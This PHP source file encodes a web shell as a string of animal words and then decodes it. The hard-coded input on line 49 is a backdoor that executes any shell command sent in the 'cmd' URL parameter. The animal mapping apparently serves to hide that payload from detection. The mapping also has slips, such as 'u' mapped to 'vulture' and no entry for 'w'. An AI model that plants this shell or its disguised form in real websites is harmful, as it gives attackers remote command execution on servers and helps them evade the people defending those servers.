animal_shell_encoder.php

   1 <?php
   2
   3 $dict = array(
   4 "a" => "ardvark",
   5 "b" => "bat",
   6 "c" => "cat",
   7 "d" => "dog",
   8 "e" => "elk",
   9 "f" => "frog",
  10 "g" => "goat",
  11 "h" => "hog",
  12 "i" => "iguana",
  13 "j" => "jackal",
  14 "k" => "kiwi",
  15 "l" => "lion",
  16 "m" => "mole",
  17 "n" => "newt",
  18 "o" => "olm",
  19 "p" => "pig",
  20 "q" => "quail",
  21 "r" => "rat",
  22 "s" => "seal",
  23 "t" => "tiger",
  24 "u" => "vulture",
  25 "v" => "wasp",
  26 "x" => "xena",
  27 "y" => "yak",
  28 "z" => "zebra",
  29 " " => "space",
  30 "(" => "eats",
  31 ")" => "sleeps",
  32 "." => "sneezes",
  33 "[" => "pukes",
  34 "]" => "kills",
  35 "'" => "jumps",
  36 "\"" => "rolls",
  37 ";" => "murders",
  38 "=" => "dances",
  39 "\$" => "sprints",
  40 "{" => "giggles",
  41 "}" => "poops",
  42 "_" => "pees",
  43 "<" => "falls",
  44 ">" => "vomits",
  45 "?" => "coughs",
  46 "`" => "tick"
  47 );
  48
  49 $input = "if(isset(\$_GET['cmd'])){ echo `{\$_GET['cmd']}`; }";
  50
  51 function encode($string, $array) {
  52         $output = array();
  53         for ($c = 0; $c < strlen($string); $c++) {
  54                 $char = substr($string, $c, 1);
  55                 $upper = isUpper($char);
  56                 $char = strtolower($char);
  57                 if (isset($array[$char])) {
  58                         if ($upper) $output[] = strtoupper($array[$char]);
  59                         else $output[] = $array[$char];
  60                 } else {
  61                         $output[] = $char;
  62                 }
  63         }
  64         return implode(" ", $output);
  65 }
  66
  67 function decode($string, $array) {
  68         $output = "";
  69         $words = explode(" ", $string);
  70         foreach ($words as $word) {
  71                 $upper = isUpper($word);
  72                 $word = strtolower($word);
  73                 if ($key = array_search($word, $array)) {
  74                         if ($upper) $key = strtoupper($key);
  75                         $output = "{$output}{$key}";
  76                 } else {
  77                         $output = "{$output}{$word}";
  78                 }
  79         }
  80         return $output;
  81 }
  82
  83
  84 function isUpper($char) {
  85         if (strtoupper($char) == $char) return true;
  86         return false;
  87 }
  88
  89 echo $output = encode($input, $dict);
  90 echo "<br><br>";
  91 echo decode($output, $dict);
  92
  93 $output = $input;
  94
  95 //print "<pre>" . $output . "</pre>";
  96
  97 ?>